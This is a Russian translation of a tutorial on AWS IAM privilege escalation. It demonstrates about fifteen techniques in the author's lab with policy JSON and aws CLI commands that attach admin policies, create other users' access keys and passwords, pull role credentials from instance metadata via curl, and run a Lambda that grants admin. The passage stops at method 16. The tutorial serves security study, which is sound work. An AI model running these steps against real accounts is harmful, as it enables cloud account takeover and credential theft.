Статья Повышение прав в AWS

Данная статья является переводом. Оригинал вот

Ссылка скрыта от гостей

Изучение методов PrivEsc в AWS

В 2018 году

Ссылка скрыта от гостей

про повышение прав в AWS, выделив более 20 отдельных методов в различных сервисах AWS. Я часто использовал статью Спенсера, чтобы попытаться найти пути эскалации привилегий на клиентских тачках. При этом мне иногда требовалось лишь немного больше информации. Некоторые из методов эскалации, определенных Спенсером, требуют глубокого понимания конкретных служб, либо же являются частью многоступенчатого процесса. Я хотел узнать больше об этих деталях. Каковы предпосылки и ограничения? Как на самом деле выглядит путь эскалации на практике? Чтобы ответить на эти вопросы, я решил проверить методы Спенсера. Я создал сценарии эксплойтов для каждой техники в моей собственной среде AWS и проверил, смог бы я повысить привилегии.

Эти упражнения очень полезны для полного понимания уязвимостей, связанных с определенными AWS разрешениями, и надеюсь, что приведенные здесь примеры помогут вам в том же ключе. Я также отсортировал эти методы на

Ссылка скрыта от гостей

, чтобы помочь вспомнить общие угрозы privesc для AWS.

Ссылка скрыта от гостей

Прежде чем я начну, вы можете обновить свой «словарь AWS» соответствующими терминов, представленным

Ссылка скрыта от гостей

.

01- iam:CreatePolicyVersion
Описание

Пользователям с разрешением iam:CreatePolicyVersion могут создавать новую версию существующей политики. Следовательно, они могут создать политику, которая даст больше разрешений, чем та, что находится сейчас.

Требования

• Пользователь должен иметь это разрешение для ресурса, который к нему применим. Это работает только в том случае, если он может изменить политику, которая их затрагивает (например, через группу или роль).

Пример

Пример

Наш пользователь является частью только одной группы и не имеет никаких других назначенных ему прав.
Политика, применяемая к группе, разрешает только iam:CreatePolicyVersion, но дает это право на любом ресурсе:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "PrivEsc1",
            "Effect": "Allow",
            "Action": "iam:CreatePolicyVersion",
            "Resource": "arn:aws:iam::*:policy/*"
        }
    ]
}

В результате пользователь теперь имеет полные AWS разрешения:

$ cat admin_policy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowEverything",
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Затем пользователь прописывает команду aws, чтобы создать новую версию политики, которая будет применена к его группе.

$ aws iam create-policy-version --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/privesc1 --policy-document file://admin_policy.json --set-as-default --profile privesc}
{
    "PolicyVersion": {
        "CreateDate": "2019-03-06T20:56:41Z",
        "VersionId": "v2",
        "IsDefaultVersion": true
    }
}

В результате этого, пользователь теперь имеет полные AWS разрешения:

$ aws iam get-policy-version --policy-arn arn:aws:iam:: [ACCOUNT-ID]:policy/privesc1 --version-id v2}
{
    "PolicyVersion": {
        "CreateDate": "2019-03-06T20:56:41Z",
        "VersionId": "v2",
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Resource": "*",
                    "Effect": "Allow",
                    "Sid": "AllowEverything"
                }
            ]
        },
        "IsDefaultVersion": true
    }
}

02 - iam:SetDefaultPolicyVersion
Описание

При изменении политики, AWS автоматически создает новую версию политики с изменениями. Затем эти изменения могут быть отменены путем возврата политики к предыдущей версии. Пользователям с iam:SetDefaultPolicyVersion разрешено устанавливать, какая версия политики является версией по умолчанию (или же активной).

Требования

• Пользователь должен иметь разрешение для ресурса, который к нему применим. Другими словами, это работает только в том случае, если пользователь может изменить политику, которая на него влияет (например, через группу или роль).
• Политика должна иметь одну или несколько предыдущих версий, которые имеют больше разрешений, нежели в настоящее время.

Пример

Пример

В следующем примере пользователь входит только в одну группу и не имеет никаких других назначенных ему прав.

Для группы privesc2 назначены две политики: privesc2 и VulnerablePolicy. Privesc2 разрешает только iam:SetDefaultPolicyVersion:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Privesc2",
      "Effect": "Allow",
      "Action": "iam:SetDefaultPolicyVersion",
      "Resource": "arn:aws:iam::*:policy/*"
    }
  ]
}

Политика VulnerablePolicy запрещает все действия, кроме iam:SetDefaultPolicyVersion:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowNothing",
      "Effect": "Deny",
      "NotAction": "iam:SetDefaultPolicyVersion",
      "Resource": "*"
    }
  ]
}

Обе политики разрешают пользователю бездействовать, за исключением изменения версии по умолчанию для любой политики в учетной записи AWS. Следующая команда демонстрирует, что пользователь не может добавить свою учетную запись в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile privesc
An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform: iam:AddUserToGroup on resource: group Admin with an explicit deny

Однако, более старая версия VulnerablePolicy имеет неограниченные разрешения AWS. Пользователь может установить старую версию политики в качестве версии по умолчанию (или же активной) и получить административной доступ к учетной записи AWS:

➜ aws iam set-default-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/VulnerablePolicy --version-id v1 --profile privesc
➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile privesc
➜ aws iam list-groups-for-user --user-name privesc_test --profile privesc
{
    "Groups": [
        {
            "Path": "/",
            "CreateDate": "2019-03-15T20:36:49Z",
            "GroupId": "AGPAIIDFTH4LJ2TIO6G4I",
            "Arn": "arn:aws:iam::[REDACTED]:group/privesc2",
            "GroupName": "privesc2"
        },
        {
            "Path": "/",
            "CreateDate": "2019-10-11T16:22:31Z",
            "GroupId": "AGPAS4WERQEFLF6A2LYFQ",
            "Arn": "arn:aws:iam::[REDACTED]:group/Admin",
            "GroupName": "Admin"
        }
    ]
}

03 - iam:РassRole и ec2:RunInstances
Описание

Разрешение iam:РassRole дает возможность пользователю передавать роль другому ресурсу AWS. С помощью разрешения ec2:RunInstances пользователь может выполнять инстансы EC2. Также, с помощью этих двух разрешений пользователь может создавать новый инстанс EC2, к которому уже имеется SSH доступ, для передачи роли этому инстансу с разрешениями, которых у пользователя в данный момент нет. А также входить в этот инстанс, запрашивая AWS ключи для этой роли.

Требования

• Пользователь должен иметь возможность передавать роль инстансу с разрешениями, которых у него на данный момент нет.
• ec2.amazonaws.com должен принимать эту роль на себя.
• Пользователь должен иметь какой-нибудь доступ к SSH, для дальнейшего доступа к вновь созданному инстансу.

В примере ниже, пользователь присваивает публичный SSH ключ, хранящийся в AWS инстансе, таким образом пользователь имеет доступ к соответствующему приватному ключу.

Пример

Пример

В данном примере пользователь является частью одной группы. К группе применяется только одна политика. Политика предоставляет пользователю разрешение iam:passRole, а также возможность перечислять и запускать инстансы:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "iam:PassRole",
        "ec2:DescribeInstances",
        "ec2:RunInstances"
      ],   
     "Resource": "*"
    }
  ]
}

На тот момент, пользователь не может добавить свою учетную запись в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile privesc
An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform: iam:AddUserToGroup on resource: group Admin

Во-первых, пользователь создает новый экземпляр, используя следующую команду:

➜ aws ec2 run-instances --image-id ami-0de53d8956e8dcf80 --instance-type t2.micro --iam-instance-profile Name=adminaccess --key-name "Public" --security-group-ids sg-ca4a1fb8 --profile privesc --region us-east-1

Эта команда включает следующие триггеры:

- imagee-id указывает AWS Machine Image (AMI) для использования. imagee-id, используемый здесь, предназначен для Amazon Linux VM. AWS регулярно меняет свои AMI, поэтому убедитесь, что используете текущее значение для образа.

- instance-type указывает тип создаваемого экземпляра. В данном случае, это свободно распространяемый экземпляр.

- iam-instance-profile - это роль, которую нужно присвоить инстансу EC2. Это относится к роли IAM по имени, в данном случае - adminaccess (администраторский доступ). Эта роль обеспечивает административный доступ к AWS.

- key-name относится к хранимой паре ключей SSH по имени.

- security-group-ids - указывает одну или несколько групп безопасности, которые будут применяться к экземпляру. Группа безопасности, применяемая в этом примере, обеспечивает только SSH доступ.

- region относится к региону, в котором должен быть создан экземпляр.

Результат этой команды очень длинный и не показан здесь, чтобы сэкономить место. Вывод предоставляет информацию об только что созданном экземпляре, а главное - ID экземпляра. Вновь созданный экземпляр будет находиться в состоянии "pending" (ожидание) в течение пары минут, пока инициализация не будет завершена. Пользователь может запросить информацию об экземпляре с помощью следующей команды, заменив instance-id на соответствующий ID экземпляра:

➜ aws ec2 describe-instances --instance-id i-03aba12967c0cb73a --profile privesc --region us-east-1

Опять же, вывод будет очень длинным и не будет показан здесь. Однако, после завершения инициализации, "состояние" экземпляра изменится на "запущенный" и он должен получить публичный IP-адрес. В этот момент злоумышленник может войти в экземпляр по SSH при условии, что у него есть приватный SSH ключ, принадлежащий паре ключей "Public". После получения доступа к экземпляру, пользователь может запросить AWS ключи для роли администратора через IP адрес метаданных:

➜ ssh ec2-user@3.84.235.112 -i ~/.ssh/id_rsa
Warning: Permanently added '3.84.235.112' (RSA) to the list of known hosts.
X11 forwarding request failed on channel 0

       __| __|_ )
       _| ( / Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[ec2-user@ip-172-31-57-71 ~]$ curl 169.254.169.254/latest/meta-data/iam/security-credentials/adminaccess
{
  "Code" : "Success",
  "LastUpdated" : "2019-03-15T22:47:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "[REDACTED]",
  "SecretAccessKey" : "[REDACTED]",
  "Token" : "[REDACTED]",
  "Expiration" : "2019-03-16T05:22:37Z"

Теперь пользователь может использовать AWS-ключи и связанный с ними токен для осуществления AWS API-звонков в рамках роли adminaccess. Команды, приведенные ниже, показывают, как пользователь добавляется в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile stolen-keys
➜ aws iam list-groups-for-user --user-name privesc_test --profile privesc
{
    "Groups": [
        {
            "Path": "/",
            "CreateDate": "2017-08-08T21:28:08Z",
            "GroupId": "AGPAI5GDGD6WEZ54JKYYQ",
            "Arn": "arn:aws:iam::[REDACTED]:group/Admin",
            "GroupName": "Admin"
        },
        {
            "Path": "/",
            "CreateDate": "2019-03-15T21:04:06Z",
            "GroupId": "AGPAJ6XUU2ZC26UUIBV5A",
            "Arn": "arn:aws:iam::[REDACTED]:group/privesc3",
            "GroupName": "privesc3"
        }
    ]
}

04 – iam:CreateAccessKey
Описание

Пользователи с разрешением iam:CreateAccessKey могут создавать ключи доступа для пользователей, указанного в политике.

Требования

• Пользователь должен иметь данное разрешение для другого пользователя, чтобы использовать его в целях повышения привилегий.

Пример

Пример

Пользователь должен состоять только в одной группе. И к группе должна быть прикреплена только одна политика. Политика позволяет iam:CreateAccessKey разрешение любому пользователю:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:CreateAccessKey",
      "Resource": "*"
    }
  ]
}

В настоящее время пользователь не может добавить свою учетную запись в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile privesc
An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:iam::[REDACTED]:user/privesc_test is not authorized to perform: iam:AddUserToGroup on resource: group Admin

С помощью разрешения iam:CreateAccessKey пользователь может создать ключ доступа для другого пользователя, а затем использовать его:

➜ aws iam create-access-key --user-name gkleijn --profile privesc
{
    "AccessKey": {
        "UserName": "gkleijn",
        "Status": "Active",
        "CreateDate": "2019-12-17T23:37:45Z",
        "SecretAccessKey": "[REDACTED]",
        "AccessKeyId": "[REDACTED]"
    }
}

После добавления учётных данных сессии в новый AWS-профиль (в примере, приведённом ниже, названный «gkleijn»), пользователь может теперь выдавать себя за gkleijn. Поскольку gkleijn был администратором в AWS аккаунте, теперь пользователь может добавить свою учетную запись в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile gkleijn-stolen
➜ aws iam list-groups-for-user --user-name privesc_test --profile privesc
{
    "Groups": [
        {
            "Path": "/",
            "CreateDate": "2019-03-15T23:00:11Z",
            "GroupId": "AGPAIITMF2Y2RVSGQCWQE",
            "Arn": "arn:aws:iam::[REDACTED]:group/privesc4",
            "GroupName": "privesc4"
        },
        {
            "Path": "/",
            "CreateDate": "2019-10-11T16:22:31Z",
            "GroupId": "AGPAS4WERQEFLF6A2LYFQ",
            "Arn": "arn:aws:iam::[REDACTED]:group/Admin",
            "GroupName": "Admin"
        }
    ]
}

05 – iam:CreateLoginProfile
Описание

Пользователи с iam:CreateLoginProfile на других пользователях могут установить консольный пароль для входа в систему для этих пользователей, если у них еще нет одного набора.

Требования

• Пользователь должен иметь права, чтобы взаимодействовать с другими пользователями.
• Целевой пользователь не может иметь пароль для входа в систему, настроенный на данный момент. Это означает, что целью этой атаки, скорее всего, будут учетные записи служб.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно право, которое разрешает iam:CreateLoginProfile только одному пользователю VulnAdmin:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:CreateLoginProfile",
      "Resource": "arn:aws:iam::[REDACTED]:user/VulnAdmin"
    }
  ]
}

В настоящее время, целевой пользователь не имеет правильного пароля для входа в систему. Атакующий может выдать следующую команду для установки консольного пароля входа для целевого пользователя:

➜ aws iam create-login-profile --user-name VulnAdmin --password Password123! --no-password-reset-required --profile privesc
{
    "LoginProfile": {
        "UserName": "VulnAdmin",
        "CreateDate": "2019-03-26T20:20:14Z",
        "PasswordResetRequired": false
    }
}

Теперь атакующий может войти как пользователь VulnAdmin с паролем, который он установил для учетной записи.

06 – iam:UpdateLoginProfile
Описание

Пользователи с iam:UpdateLoginProfile могут изменить пароль для других пользователей.

Требования

• Пользователь должен иметь определенные права, чтобы взаимодействовать с другими пользователями.
• Целевой пользователь должен иметь пароль для входа в систему.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно право, которое разрешает iam:UpdateLoginProfile пользователю VulnAdmin:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:UpdateLoginProfile",
      "Resource": "arn:aws:iam::[REDACTED]:user/VulnAdmin"
    }
  ]
}

Целевой пользователь, на данный момент, имеет пароль учетной записи. Атакующий может использовать следующую команду, чтобы изменить этот же пароль входа для целевого пользователя:

➜ aws iam update-login-profile --user-name VulnAdmin --password Password234! --no-password-reset-required --profile privesc

Теперь атакующий может войти в консоль как пользователь VulnAdmin с паролем, который он установил для учетной записи.

07 – iam:AttachUserPolicy
Описание

Пользователи с iam:AttachUserPolicy могут прикреплять политики к пользовательским учетным записям, позволяя им те же самые действия, которые на данный момент у них нет.

Требования

• Пользователь может прикрепить политику к своей учетной записи.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно право, которое позволяет iam:AttachUserPolicy всем пользователям:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:AttachUserPolicy",
      "Resource": "*"
    }
  ]
}

Атакующий может использовать следующую команду, чтобы прикрепить политику AWS AdministratorAccess к своей учетной записи:

➜ aws iam attach-user-policy --user-name privesc_test --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile privesc

Теперь атакующий имеет доступ администратора к учетной записи AWS.

08 – iam:AttachGroupPolicy
Описание

Пользователи с iam:AttachGroupPolicy могут прикреплять политики к группам, и тем самым могут прикреплять политики с разрешениями, которых у них на данный момент нет, к группе, частью которой они являются.

Требования

• Пользователь может прикрепить управляемые политики к группе, частью которой он является.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно разрешение, которое позволяет iam:AttachGroupPolicy для всех групп:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:AttachGroupPolicy",
      "Resource": "arn:aws:iam::*:group/*"
    }
  ]
}

Атакующий может использовать следующую команду, чтобы прикрепить управляемую политику AWS AdministratorAccess к своей учетной записи:

➜ aws iam attach-group-policy --group-name privesc8 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile privesc

Теперь атакующий имеет доступ администратора к учетной записи AWS.

09 – iam:AttachRolePolicy
Описание

Пользователи с iam:AttachRolePolicy могут прикреплять политику к ролям, позволяя самим себе политики с разрешениями, которые они еще не имеют, но могут получить в дальнейшем.

Требования

• Пользователь может взять на себя другую роль в учетной записи AWS.
• Пользователь может прикреплять политики к той роли, которую он может взять на себя.
• В качестве альтернативы, пользователь может прикрепить политику к роли с дальнейшим получением доступа слегка по-другому. Например, если роль прикреплена к инстансу EC2, к которому можно подключиться через SSH, ну а пользователь может прикрепить политику к этой роли, то можно повысить привилегии так, как это описано в методе 3: "iam:РassRole и ec2:RunInstances".

Пример

Пример

В данном примере наш злоумышленник принадлежит к стороннему аккаунту AWS, но имеет право взять на себя роль в аккаунте целевой AWS. Роль, которую может взять на себя атакующий, имеет только разрешение iam:AttachRolePolicy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:AttachRolePolicy",
            "Resource": "arn:aws:iam::*:role/*"
        }
    ]
}

Сначала атакующий берет на себя роль в учетной записи AWS:

➜ aws sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/privesc9 --role-session-name privesc9 --profile awstwo
{
    "AssumedRoleUser":{
        "AssumedRoleId": "AROAS4WERQEFLKYC5DHRI:privesc9",
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/privesc9/privesc9"
    },
    "Credentials": {
        "SecretAccessKey": "[REDACTED]",
        "SessionToken": "[REDACTED]",
        "Expiration": "2019-09-05T18:53:48Z",
        "AccessKeyId": "[REDACTED]"
    }
}

После добавления учетных данных сеанса к новому профилю AWS (в примере, приведенном ниже, названному assumedrole), злоумышленник повышает привилегии, прикрепляя к роли новую политику:

➜ aws iam attach-role-policy --role-name privesc9 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile assumedrole

Теперь злоумышленник имеет доступ администратора к учетной записи AWS.

10 – iam:РutUserPolicy
Описание

Пользователь с iam:РutUserPolicy могут создавать или обновлять встроенную политику для других пользователей, потенциально позволяя ему добавлять разрешения, которых на данный момент нет в учетной записей других пользователей.

Требования

• Пользователь должен иметь iam:РutUserPolicy разрешение на свою учетную запись, к которой он может получить доступ.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно разрешение, которое позволяет iam:РutUserPolicy всем пользователям:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PutUserPolicy",
      "Resource": "arn:aws:iam::*:user/*"
    }
  ]
}

Теперь атакующий может прикрепить новую встроенную политику к своей учетной записи пользователя. Встроенная политика, которая будет прикреплена, выглядит следующим образом:

➜ cat adminpolicy.json
{
    "Version": "2012-10-17",
    "Statement": [
    {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
    }]
}

Атакующий может прикрепить политику, выполнив следующую команду:

➜ aws iam put-user-policy --user-name privesc_test --policy-name new_inline_policy --policy-document file://adminpolicy.json --profile privesc

Теперь у злоумышленника есть доступ администратора к учетной записи AWS.

11 – iam:РutGroupPolicy
Описание

Пользователи с iam:РutGroupPolicy могут создавать или обновлять встроенную политику для группы, потенциально позволяя им добавлять разрешения, которых в настоящее время нет в их учетной записи.

Требования

• Пользователь должен иметь разрешение iam:РutGroupPolicy для группы, частью которой он является.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. Группа имеет одно разрешение, которое разрешает iam:РutGroupPolicy для всех групп:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PutGroupPolicy",
      "Resource": "arn:aws:iam::*:group/*"
    }
  ]
}

Теперь атакующий может прикрепить новую встроенную политику к своей группе. Встроенная политика, которая будет прикреплена, выглядит следующим образом:

➜ cat adminpolicy.json
{
    "Version": "2012-10-17",
    "Statement": [
    {
        "Effect": "Allow",
        "Action": "*",
        "Resource": "*"
    }]
}

Атакующий может прикрепить политику, выпустив следующую команду:

➜ aws iam put-group-policy --group-name privesc11 --policy-name new_inline_policy --policy-document file://adminpolicy.json --profile privescc

Теперь атакующий имеет администраторский доступ к учетной записи AWS.

12 – iamutGroupPolicy
Описание

Пользователь с iam:РutRolePolicy может создавать или обновлять встроенную политику для ролей, потенциально позволяя им прикреплять политики с разрешениями, которые не нужны на данный момент, но которые они могут взять на себя.

Требования

• Пользователь может взять на себя роль в учетной записи AWS.
• Пользователю разрешается создавать или обновлять встроенные политики для той роли, которую он может взять на себя.
• В качестве альтернативы, пользователь может создавать или обновлять встроенную политику для роли, к которой он может получить доступ, по-другому. Например, если роль прикреплена к инстансу EC2, к которому они могут подключаться через SSH, и пользователь может создавать или обновлять встроенную политику для этой роли, то он может также повышать привилегии, как это описано в методе 3: "iam:РassRole и ec2:RunInstances".

Пример

Пример

В данном примере наш злоумышленник принадлежит к стороннему аккаунту AWS, но может взять на себя роль в целевом аккаунте AWS. Роль, которую может позволить себе атакующий, имеет только разрешение iam:РutRolePolicy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:PutRolePolicy",
      "Resource": "arn:aws:iam::*:role/*"
    }
  ]
}

Сначала атакующий берет на себя роль в целевой учетной записи AWS:

➜ aws sts assume-role --role-arn arn:aws:iam::1[REDACTED]:role/privesc12 --role-session-name privesc12 --profile awstwo
{
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAS4WERQEFCCNCEZ7FQ:privesc12",
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/privesc12/privesc12"
    },
    "Credentials": {
        "SecretAccessKey": "[REDACTED]",
        "SessionToken": "[REDACTED]",
        "Expiration": "2019-09-05T20:39:43Z",
        "AccessKeyId": "[REDACTED]"
    }
}

После добавления учетных данных сеанса к новому профилю AWS (в примере с именем assumedrole), атакующий повышает привилегии, прикрепляя к роли новую политику:

➜ aws iam put-role-policy --role-name privesc12 --policy-name new_inline_policy --policy-document file://adminpolicy.json --profile assumedrole

Теперь злоумышленник имеет доступ администратора к учетной записи AWS.

13 – iam:AddUserToGroup
Описание

Пользователь с разрешением iam:AddUserToGroup может добавлять пользователей в новые группы, тем самым, позволяя им добавлять свою учетную запись в группу, которая имеет больше привилегий, чем та, в которой пользователи состоят сейчас.

Требования

• Пользователь должен иметь права iam:AddUserToGroup для группы, которая имеет больше прав, чем сейчас.

Пример

Пример

В этом примере наш злоумышленник является частью одной группы, и группа имеет одно разрешение, которое позволяет iam:AddUserToGroup во всех остальных группах:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:AddUserToGroup",
      "Resource": "arn:aws:iam::*:group/*"
    }
  ]
}

Атакующий может повысить свои права, добавив свою учетную запись в группу Admin:

➜ aws iam add-user-to-group --group-name Admin --user-name privesc_test --profile privesc

Теперь атакующий имеет полные права администратора в AWS.

14 – iam:UpdateAssumeRolePolicy
Описание

Пользователь с iam:UpdateAssumeRolePolicy может обновить роль, чтобы взять ее на себя, тем самым, предоставив себе доступ к роли с разрешениями, которые на порядок выше нынешних.

Требования

• Пользователь может взять на себя роль в целевой учетной записи AWS.
• Пользователю разрешается обновлять политику AssumeRole для роли с разрешениями, которых у него на данный момент нет.

Пример

Пример

В данном примере злоумышленник принадлежит к стороннему аккаунту AWS, но имеет право взять на себя роль в целевом аккаунте AWS. Роль, которую может взять на себя атакующий, имеет только разрешение iam:UpdateAssumeRolePolicy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": "iam:UpdateAssumeRolePolicy",
      "Resource": "arn:aws:iam::*:role/*"
    }
  ]
}

Целевая роль, до которой перейдет атакующий, называется -доступ администратора, и не позволяет никому из пользователей брать ее на себя. На данный момент только инстансу EC2 разрешено брать на себя эту роль, как показано в AssumeRolePolicy этой роли:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "ec2.amazonaws.com"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}

Сперва, атакующий берет на себя роль с более низкими привилегиями в целевой учетной записи AWS:

➜ aws sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/privesc14 --role-session-name privesc14 --profile awstwo
{
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAS4WERQEFADXSRZ6OX:privesc14",
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/privesc14/privesc14"
    },
    "Credentials": {
        "SecretAccessKey": "[REDACTED]",
        "SessionToken": "[REDACTED]",
        "Expiration": "2019-09-05T22:24:25Z",
        "AccessKeyId": "[REDACTED]"
    }
}

После добавления учетных данных сессии в новый профиль AWS (в примере ниже назван assumedrole), злоумышленник повышает привилегии, обновляя роль adminaccess, чтобы он мог ее взять на себя. Политика AssumeRole будет использоваться следующим образом:

➜ cat assumerolepolicy.json
{
    "Version": "2012-10-17",
    "Statement": [
    {
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::[REDACTED]:user/attacker"
        },
    "Action": "sts:AssumeRole",
    "Condition": {}
   }]
}

Атакующий использует команду на добавление этой политики доверия к роли adminaccess:

➜ aws iam update-assume-role-policy --role-name adminaccess --policy-document file://assumerolepolicy.json --profile assumedrole

Теперь атакующий имеет доступ администратора в целевой среде:

➜ aws sts assume-role --role-arn arn:aws:iam::199054426378:role/adminaccess --role-session-name privesc14admin --profile awstwo
{
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAJFLD6LA5KYRSHSDTY:privesc14admin",
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/adminaccess/privesc14admin"
    },
    "Credentials": {
        "SecretAccessKey": "[REDACTED]",
        "SessionToken": "[REDACTED]",
        "Expiration": "2019-09-05T22:44:39Z",
        "AccessKeyId": "[REDACTED]"
    }
}

15 – iam:РassRole, lambda:CreateFunction, and lambda:InvokeFunction
Описание

Пользователи с разрешениями на использование таких функций, как: iam:РassRole, lambda:CreateFunction и lambda:InvokeFunction могут повысить свои привилегии путем создания новой функции lambda, которая при вызове выполняет код, повышающий привилегии пользователя.

Требования

• Учетная запись AWS должна содержать существующую роль, которая включает разрешение iam:AttachUserPolicy, а лямбда-функции должны быть разрешены, чтобы взять на себя эту роль.

Пример

Пример

В данном примере наш злоумышленник является частью одной группы. В группе есть только разрешения iam:РassRole, lambda:CreateFunction и lambda:InvokeFunction:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "VisualEditor0",
      "Effect": "Allow",
      "Action": [
        "lambda:CreateFunction",
        "iam:PassRole",
        "lambda:InvokeFunction"
      ],
      "Resource": [
        "arn:aws:lambda:*:*:function:*",
        "arn:aws:iam::*:role/*"
      ]
    }
  ]
}

Кроме того, учетная запись AWS содержит роль, которую может взять на себя служба lambda, и которая включает разрешение iam:AttachUserPolicy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:AttachUserPolicy",
            "Resource": "arn:aws:iam::*:user/*"
        }
    ]
}

Чтобы проинициализировать эксплойт повышения привилегий, атакующий сначала создает некоторый код, который после запуска, прикрепит политику администратора к учетной записи злоумышленника:

➜ cat code.py
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(UserName='privesc_test',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
    return response

Атакующий затем архивирует файл кода и создает новую лямбда-функцию. В команде AWS, приведенной ниже, атакующий передает лямбда-роль с разрешением iam:AttachUserPolicy. Кроме того, обратите внимание, что обработчик - это имя python файла но без расширений, за которым следует определенная функция:

➜ zip function.zip code.py
adding: code.py (deflated 27%)
➜ aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::[REDACTED]:role/privesc15lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-west-2 --profile privesc
{
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "CodeSha256": "jCxmafHHIfQ0ClMk/HF+16xxUxBFZGRFL5rGVnuXLeg=",
    "FunctionName": "privesc",
    "CodeSize": 321,
    "RevisionId": "d4007872-474a-4a24-9b8f-41e62391b6dd",
    "MemorySize": 128,
    "FunctionArn": "arn:aws:lambda:us-west-2:[REDACTED]:function:privesc",
    "Version": "$LATEST",
    "Role": "arn:aws:iam::[REDACTED]:role/privesc15lambda",
    "Timeout": 3,
    "LastModified": "2019-09-05T23:04:57.184+0000",
    "Handler": "code.lambda_handler",
    "Runtime": "python3.6",
    "Description": ""
}

Затем атакующий вызывает функцию для выполнения кода, отвечающего за повышение привилегий:

➜ aws lambda invoke --function-name privesc output.txt --region us-west-2 --profile privesc
{
    "ExecutedVersion": "$LATEST",
    "StatusCode": 200
}

Код завершился успешно, и атакующий теперь имеет полные права администратора на AWS-среду.

16 - iam:РassRole, lambda:CreateFunction and lambda:CreateEventSourceMapping
Описание

Пользователи с разрешениями iam:РassRole, lambda:CreateFunction и lambda:CreateEventSourceMapping могут повысить привилегии, создав новую функцию Lambda и подключив ее к таблице DynamoDB. После этого, когда новая строка вставляется в таблицу, функция Lambda выполнит код, который повысит привилегии пользователя.

Требования

• Учетная запись AWS должна содержать существующую роль, которая включает права iam:AttachUserPolicy, dynamodb:GetRecords, dynamodb:GetShardIterator, dynamodb:DescribeStream, и dynamodb:ListStreams, а функции Lambda должны быть разрешены, чтобы взять на себя эту роль.
• Учетная запись AWS должна содержать таблицу DynamoDB с разрешением Stream Enabled.
• Но, если таблицы нет, то этот метод повышения привилегий все равно может сработать, если у злоумышленника есть разрешение dynamodb:CreateTable.

